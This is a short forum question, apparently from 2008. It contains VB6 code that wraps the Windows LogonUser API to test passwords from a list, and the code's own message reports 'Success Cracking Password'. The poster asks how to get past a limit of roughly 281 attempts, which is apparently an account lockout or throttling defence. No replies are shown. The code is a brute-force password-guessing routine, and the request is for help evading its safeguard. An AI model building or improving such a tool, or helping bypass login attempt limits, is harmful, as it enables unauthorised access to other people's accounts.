Problem with LogonUser API RRS feed

  • Question

  • The code below goes to the clsLogin.cls which is a class module in VB6

    Event LoginStatus(Success As Boolean, System As String, User As String, Pass As String)
    Public UserName As String
    Public SystemName As String
    Public Password As String

    Private Const SysConst="Enter System Name"
    Sub Login()
    On Error Resume Next
    Dim hToken As Long
    Dim Ret As Long
    Dim Sys As String
    Sys = SystemName
    If SystemName = SysConst Then Sys = vbNullString
    If Password = "" Then Password = vbNullString
    Ret = LogonUser(UserName, Sys, Password, 3, 0, hToken)
    CloseHandle (hToken)
    Dim Success As Boolean
    Success = Not (Ret = 0)
    RaiseEvent LoginStatus(Success, SystemName, UserName, Password)
    End Sub


    I can call this class as follows:

    Dim withevents Login as clsLogin

    Set Login=new clslogin






    In the event FIred

    Private Sub LoginStatus(Success, SystemName, UserName, Password)

    If success then

    msgbox "Success Cracking Password"


    login.password=<Next Password>


    end if

    End Sub



    'The Problem is that I can try this login for only 281 or 283 times using a password list

    Can anyone solve the Problem

    I am looking Forward to it



    Sunday, April 6, 2008 10:10 AM

All replies